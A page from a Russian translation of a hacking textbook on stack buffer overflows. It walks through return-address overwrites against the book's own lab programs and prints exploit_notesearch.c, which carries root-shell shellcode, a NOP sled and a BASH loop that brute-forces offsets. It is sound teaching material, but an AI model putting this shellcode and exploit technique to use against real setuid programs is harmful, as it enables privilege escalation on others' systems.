Главная страница
Навигация по странице:

  • 0x080484bf : mov DWORD PTR [esp],0x80485fb 158 0x300 Эксплойты 0x080484c6 : call 0x804831c

  • 0x080484de : call 0x804831c

  • Фрагмент exploit_notesearch.c

  • 0x331 Использование окружения

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница18 из 51
    1   ...   14   15   16   17   18   19   20   21   ...   51

    157
    поскольку шестнадцатеричные значения символов A, B, C и D – 0x41, 0x42,
    0x43
    и 0x44 соответственно. В архитектуре «сначала младший байт» пер- вый символ является наименее значимым байтом. Это значит, что если вам нужно поместить в переменную какое-то конкретное значение, вро- де 0xdeadbeef, соответствующие байты следует записать в память в об- ратном порядке.
    reader@hacking:

    /booksrc $ ./overflow_example $(perl -e ‘print “A”x20 . “\
    xef\xbe\xad\xde”’)
    [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’
    [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’
    [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
    [STRCPY] copying 24 bytes into buffer_two
    [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAA??’
    [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAA??’
    [AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)
    reader@hacking:/booksrc $
    С помощью этого приема можно изменить адрес возврата в програм- ме auth_overflow2.c, записав в него конкретное значение. В следующем примере мы заменим адрес возврата другим адресом в main().
    reader@hacking:/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c reader@hacking:/booksrc $ gdb -q ./auth_overflow2
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) disass main
    Dump of assembler code for function main:
    0x08048474 : push ebp
    0x08048475 : mov ebp,esp
    0x08048477 : sub esp,0x8 0x0804847a : and esp,0xfffffff0 0x0804847d : mov eax,0x0 0x08048482 : sub esp,eax
    0x08048484 : cmp DWORD PTR [ebp+8],0x1 0x08048488 : jg 0x80484ab
    0x0804848a : mov eax,DWORD PTR [ebp+12]
    0x0804848d : mov eax,DWORD PTR [eax]
    0x0804848f : mov DWORD PTR [esp+4],eax
    0x08048493 : mov DWORD PTR [esp],0x80485e5 0x0804849a : call 0x804831c
    0x0804849f : mov DWORD PTR [esp],0x0 0x080484a6 : call 0x804833c
    0x080484ab : mov eax,DWORD PTR [ebp+12]
    0x080484ae : add eax,0x4 0x080484b1 : mov eax,DWORD PTR [eax]
    0x080484b3 : mov DWORD PTR [esp],eax
    0x080484b6 : call 0x8048414
    0x080484bb : test eax,eax
    0x080484bd : je 0x80484e5
    0x080484bf : mov DWORD PTR [esp],0x80485fb

    158
    0x300 Эксплойты
    0x080484c6 : call 0x804831c

    0x080484cb : mov DWORD PTR [esp],0x8048619
    0x080484d2 : call 0x804831c

    0x080484d7 : mov DWORD PTR [esp],0x8048630
    0x080484de : call 0x804831c

    0x080484e3 : jmp 0x80484f1
    0x080484e5 : mov DWORD PTR [esp],0x804864d
    0x080484ec : call 0x804831c
    0x080484f1 : leave
    0x080484f2 : ret
    End of assembler dump.
    (gdb)
    Участок кода, выделенный полужирным, содержит инструкции для вывода сообщения «Access Granted». Его начало расположено по адре- су 0x080484bf, поэтому если записать это значение в адрес возврата, бу- дет выполнен данный блок команд. Точное расстояние между адресом возврата и началом password_buffer может меняться в зависимости от версии компилятора и флагов оптимизации. Если начало буфера вы- ровнено в стеке по границе двойного слова (DWORD), этот сдвиг мож- но компенсировать путем многократного повторения адреса возвра- та. В результате какое-нибудь из повторяющихся значений заместит адрес возврата, даже если он смещен из-за включенных оптимизаций.
    reader@hacking:/booksrc $ ./auth_overflow2 $(perl -e ‘print “\xbf\x84\x04\
    x08”x10’)
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Segmentation fault (core dumped)
    reader@hacking:/booksrc $
    В приведенном примере нужный адрес 0x080484bf повторен 10 раз, что- бы гарантировать запись нужного адреса на место адреса возврата. При возврате из функции check_authentication() выполнение перейдет по новому адресу, а не по адресу команды, следующей за вызовом функ- ции. Это расширяет наши возможности управления, однако мы по- прежнему ограничены использованием тех команд, которые есть в ис- ходной программе.
    Программа notesearch имеет уязвимость в виде переполнения буфера в строке, ниже выделенной полужирным.
    int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor char searchstring[100];
    if(argc > 1) // Если есть аргумент,
    strcpy(searchstring, argv[1]); // это строка для поиска;
    else // в противном случае,
    searchstring[0] = 0; // строка для поиска пуста.

    0x330 Эксперименты с BASH
    159
    В эксплойте для notesearch используется аналогичный прием, чтобы переполнить буфер и изменить адрес возврата; однако при этом в па- мять вводятся собственные команды, а потом им передается управле- ние. Эти инструкции называются шелл-кодом (shellcode), и они требу- ют, чтобы программа восстановила права доступа и открыла приглаше- ние командной оболочки. В случае программы notesearch последствия будут особенно катастрофическими, поскольку она выполняется с уста- новленным битом suid root. Поскольку эта программа предназначена для многопользовательского доступа, она выполняется с более высо- кими правами, чтобы иметь доступ к своему файлу данных, но логика программы лишает пользователей возможности использовать эти более высокие права для иных действий, помимо обращения к этому файлу данных – во всяком случае, таков ее замысел.
    Но при возможности ввести собственные команды как результат пе- реполнения буфера, изменив порядок выполнения, логика програм- мы оказывается бесполезной. Этот прием позволяет заставить програм- му делать то, что не предусмотрено ее кодом, при сохранении высоких прав доступа, с которыми она была запущена. Это опасная комбина- ция, позволяющая эксплойту получить оболочку root. Рассмотрим этот эксплойт подробно.
    reader@hacking:/booksrc $ gcc -g exploit_notesearch.c reader@hacking:/booksrc $ gdb -q ./a.out
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) list 1 1 #include
    2 #include
    3 #include
    4 char shellcode[]=
    5 “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
    6 “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
    7 “\xe1\xcd\x80”;
    8 9 int main(int argc, char *argv[]) {
    10 unsigned int i, *ptr, ret, offset=270;
    (gdb)
    11 char *command, *buffer;
    12 13 command = (char *) malloc(200);
    14 bzero(command, 200); // Обнулить новую память.
    15 16 strcpy(command, “./notesearch \’”); // Начало буфера команды.
    17 buffer = command + strlen(command); // Поместить буфер в конце.
    18 19 if(argc > 1) // Задать смещение.
    20 offset = atoi(argv[1]);
    (gdb)
    21

    160
    0x300 Эксплойты
    22 ret = (unsigned int) &i - offset; // Задать адрес возврата.
    23
    24 for(i=0; i < 160; i+=4)
    // Заполнить буфер адресом возврата
    25 *((unsigned int *)(buffer+i)) = ret;
    26 memset(buffer, 0x90, 60);
    // Построить NOP-цепочку.
    27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    28 29 strcat(command, “\’”);
    30
    (gdb) break 26
    Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.
    (gdb) break 27
    Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.
    (gdb) break 28
    Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.
    (gdb)
    Эксплойт notesearch.c генерирует буфер в строках с 24 по 27 (выделе- ны полужирным). Вначале действует цикл for, который заполняет бу- фер 4-байтным адресом, находящимся в переменной ret. При каждом проходе цикла переменная i наращивается на 4. Это число добавляется к адресу буфера, и результат приводится к типу указателя на беззнако- вое целое. Оно имеет размер 4 байта, поэтому при разыменовании про- исходит запись всего 4-байтного значения, находящегося в ret.
    (gdb) run
    Starting program: /home/reader/booksrc/a.out
    Breakpoint 1, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:26 26 memset(buffer, 0x90, 60); // Построить NOP-цепочку
    (gdb) x/40x buffer
    0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
    (gdb) x/s command
    0x804a008: “./notesearch

    ¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ
    ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û
    ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿

    (gdb)

    0x330 Эксперименты с BASH
    161
    В первой точке останова находим в буфере результат работы цикла for.
    Видна также связь между указателем на команду и указателем на бу- фер. Следующая команда – вызов функции memset(), которая записы- вает в 60 байт с начала буфера значение 0x90.
    (gdb) cont
    Continuing.
    Breakpoint 2, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:27 27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    (gdb) x/40x buffer
    0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
    (gdb) x/s command
    0x804a008: “./notesearch ‘”, ‘\220’ , “
    ¶ûÿ¿¶ûÿ¿¶û
    ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶
    ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿

    (gdb)
    В заключение с помощью функции memcpy() байты шелл-кода копиру- ются в buffer+60.
    (gdb) cont
    Continuing.
    Breakpoint 3, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:29 29 strcat(command, “\’”);
    (gdb) x/40x buffer
    0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a
    0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f
    0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
    (gdb) x/s command
    0x804a008: “./notesearch ‘”, ‘\220’ ,
    “1
    À
    1
    Û
    1
    É\
    231
    °¤Í\
    200j
    \
    vXQh
    //
    shh
    /
    bin
    \211ãQ\211âS\211áÍ\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û
    ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿

    (gdb)

    162
    0x300 Эксплойты
    Теперь в буфере находится наш шелл-код, достаточно длинный, что- бы заместить адрес возврата. Сложность определения точного место- положения адреса возврата компенсируется многократным повторе- нием его нового значения. Но это значение адреса возврата должно указывать на шелл-код, располагающийся в том же буфере. Значит, чтобы поместить фактический новый адрес в память, нужно сначала выяснить его. Это может быть нелегко, поскольку стек динамически меняется.
    К счастью, есть еще один хакерский прием, называемый NOP-це поч-
    ками, который поможет нам справиться с этой трудностью. NOP в ас- семблере означает просто отсутствие операции (no operation). Это команда длиной в один байт, которая абсолютно ничего не делает.
    Она иногда используется для создания холостых циклов при синхро- низации и действительно необходима в архитектуре процессора Sparc для конвейера команд.
    В нашем случае команды NOP будут использоваться с другой целью: для мошенничества. Мы создадим длинную цепочку команд NOP и по- местим ее перед шелл-кодом, и тогда если EIP возвратится по любо- му адресу, входящему в NOP-цепочку, то он будет увеличиваться, по- очередно выполняя каждую команду NOP, пока не доберется до шелл- кода.
    Это значит, что если адрес возврата переписать любым из адресов, входящих в NOP-цепочку, то EIP соскользнет вниз по цепочке до шелл-кода, который выполнится, а нам только того и надо.
    Команда NOP в архитектуре x86 эквивалентна числу 0x90. В результате готовый буфер эксплойта будет выглядеть примерно так:
    NOP-цепочка
    Шелл-код
    Повторяющийся адрес возврата
    Но даже при использовании NOP-цепочки нужно заранее определить примерное местонахождение буфера в памяти. Один из приемов, по- зволяющих это сделать, – использовать в качестве базы один из сосед- них адресов в стеке. Вычитая из этого адреса смещение, можно полу- чить относительный адрес любой переменной.
    Фрагмент exploit_notesearch.c
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // Обнулить новую память.
    strcpy(command, “./notesearch \’”); // Начало буфера команды.
    buffer = command + strlen(command); // Поместить буфер в конце.

    0x330 Эксперименты с BASH
    163
    if(argc > 1) // Задать смещение.
    offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Задать адрес возврата.
    В эксплойте notesearch в качестве отправной точки использован адрес переменной i в кадре стека функции main(). Из него вычитается смеще- ние, и результат принимается за искомый адрес возврата. Смещение было задано ранее как 270, но откуда взялось это число?
    Проще всего определить смещение экспериментально. Отладчик при запуске в нем программы notesearch с битом suid root несколько сме- щает память и сбрасывает права доступа, что делает его применение в данной ситуации довольно бесполезным.
    Поскольку эксплойт notesearch позволяет задать смещение в качестве необязательного аргумента командной строки, можно быстро прове- рить разные значения смещения.
    reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out 100
    -------[ end of note data ]------- reader@hacking:/booksrc $ ./a.out 200
    -------[ end of note data ]------- reader@hacking:/booksrc $
    Однако глупо делать эту скучную операцию вручную. В BASH тоже есть цикл for, позволяющий автоматизировать данный процесс. Ко- манда seq – это простенькая программа, генерирующая последователь- ность чисел, которые обычно используются в циклах.
    reader@hacking:/booksrc $ seq 1 10 1
    2 3
    4 5
    6 7
    8 9
    10
    reader@hacking:/booksrc $ seq 1 3 10 1
    4 7
    10
    reader@hacking:/booksrc $
    Если аргументов только два, генерируются все числа между первым и вторым аргументами. Если аргументов три, то средний из них опре-

    164
    0x300 Эксплойты деляет, насколько должно происходить увеличение каждый раз. С по- мощью подстановки команд можно организовать цикл for в BASH.
    reader@hacking:/booksrc $ for i in $(seq 1 3 10)
    > do
    > echo The value is $i
    > done
    The value is 1
    The value is 4
    The value is 7
    The value is 10
    reader@hacking:/booksrc $
    Действие цикла for должно быть понятно, несмотря на некоторые син- таксические отличия. Переменная оболочки $i пробегает все значе- ния, подставляемые вместо символов обратной кавычки (генерируе- мые seq).
    Затем выполняется все, что находится между ключевыми словами do и done. Таким способом мы сможем быстро проверить множество раз- личных смещений. Так как длина NOP-цепочки 60 байт, и можно вер- нуться в любое ее место, отклонение может составлять около 60 байт
    Можно смело увеличивать смещение с шагом 30, не рискуя промах- нуться мимо цепочки.
    reader@hacking:/booksrc $ for i in $(seq 0 30 300)
    > do
    > echo Trying offset $i
    > ./a.out $i
    > done
    Trying offset 0
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    После выбора правильного смещения адрес возврата замещается зна- чением, указывающим какое-то место в NOP-цепочке. Когда програм- ма попытается вернуться по адресу возврата, выполнение проскольз- нет по NOP-цепочке до команд шелл-кода. Так и было получено исход- ное смещение.
    0x331 Использование окружения
    Иногда буфер бывает настолько мал, что в него не помещается даже шелл-код. К счастью, шелл-код можно припрятать и в других местах памяти. Есть так называемые переменные окружения, которые ис- пользуются оболочкой или пользователем с различными целями, но в данном случае интересны не столько эти цели, сколько то, что эти пе- ременные находятся в стеке и их значение может быть установлено из оболочки.

    0x330 Эксперименты с BASH
    165
    В приведенном ниже примере переменной окружения MYVAR присваива- ется значение test. Доступ к переменной окружения выполняется с по- мощью символа доллара, предшествующего ее имени. Есть также ко- манда env, которая выводит все переменные окружения. Обратите вни- мание на ряд переменных окружения, значения которых уже установ- лены по умолчанию.
    reader@hacking:/booksrc $ export MYVAR=test reader@hacking:/booksrc $ echo $MYVAR
    test reader@hacking:/booksrc $ env
    SSH_AGENT_PID=7531
    SHELL=/bin/bash
    DESKTOP_STARTUP_ID=
    TERM=xterm
    GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2
    WINDOWID=39845969
    OLDPWD=/home/reader
    USER=reader
    LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;
    33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;4 4:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.
    zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.
    rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.
    pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.
    tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.
    avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.
    flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:
    SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent.7489
    GNOME_KEYRING_SOCKET=/tmp/keyring-AyzuEi/socket
    SESSION_MANAGER=local/hacking:/tmp/.ICE-unix/7489
    USERNAME=reader
    DESKTOP_SESSION=default.desktop
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
    GDM_XSERVER_LOCATION=local
    PWD=/home/reader/booksrc
    LANG=en_US.UTF-8
    GDMSESSION=default.desktop
    HISTCONTROL=ignoreboth
    HOME=/home/reader
    SHLVL=1
    GNOME_DESKTOP_SESSION_ID=Default
    LOGNAME=reader
    DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-
    DxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35
    LESSOPEN=| /usr/bin/lesspipe %s
    DISPLAY=:0.0
    1   ...   14   15   16   17   18   19   20   21   ...   51


    написать администратору сайта